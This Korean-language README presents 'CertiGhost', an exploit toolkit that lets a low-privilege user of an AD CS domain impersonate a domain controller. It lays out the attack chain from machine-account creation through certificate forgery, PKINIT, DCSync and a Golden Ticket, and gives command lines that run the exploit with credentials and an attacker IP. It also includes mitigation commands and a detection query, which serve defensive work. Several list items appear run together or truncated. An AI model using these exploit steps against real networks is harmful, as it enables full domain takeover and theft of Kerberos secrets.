
AD CS CVE-2026-54121용 익스플로잇 툴킷: 저권한 도메인 사용자가 도메인 컨트롤러를 가장하여 인증서를 위조하고 DCSync/Golden Ticket을 통해 도메인을 장악합니다.
CertiGhost는 Active Directory 인증서 서비스(AD CS)의 심각한 취약점(CVSS 8.8)으로, 낮은 권한의 도메인 사용자가 도메인 컨트롤러를 가장하여 전체 도메인을 장악할 수 있게 해줍니다.
AD CS "chase" 폴백 메커니즘을 통해 요청자는 인증서 요청에 cdc(클라이언트 DC) 및 rmd(원격 도메인) 특성을 제공할 수 있습니다. CA는 해당 대상이 합법적인 도메인 컨트롤러인지 검증하지 않고 cdc 대상을 따라가 ID 데이터를 확인합니다.
공격 체인:
ms-DS-MachineAccountQuota 이용)cdc가 포함된 인증서 요청을 제출합니다krbtgt 해시 → 골든 티켓 → 전체 도메인 장악| 문서 | 내용 |
|---|---|
| USAGE.md | 단계별 지침이 포함된 상세 사용 가이드 |
| DIAGRAM.md | 구조 다이어그램 및 공격 흐름 시각화 |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
전체 아키텍처 다이어그램은 DIAGRAM.md를 참조하세요.
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuota 값EDITF_ENABLECHASECLIENTDC 플래그ms-DS-MachineAccountQuota > 0 (기본값: 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota를 0으로 설정ENROLLEE_SUPPLIES_SUBJECT 제거cdc/rmd 특성이 포함된 인증서 요청 모니터링Microsoft Threat Protection 블로그의 안내에 따라 다음 고급 헌팅 쿼리를 배포하세요:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| 파일 | 용도 |
|---|
certighost_exploit.py | 전체 익스플로잇 체인 구현 |
certighost_test.py | CLI 기반 탐지 + 익스플로잇 툴킷 |
ad_detect.py | 빠른 대상 지정 탐지 스캔 |
test_exploit.py | 모든 익스플로잇 구성 요소에 대한 단위 테스트(55개 테스트) |
requirements.txt | Python 종속성 |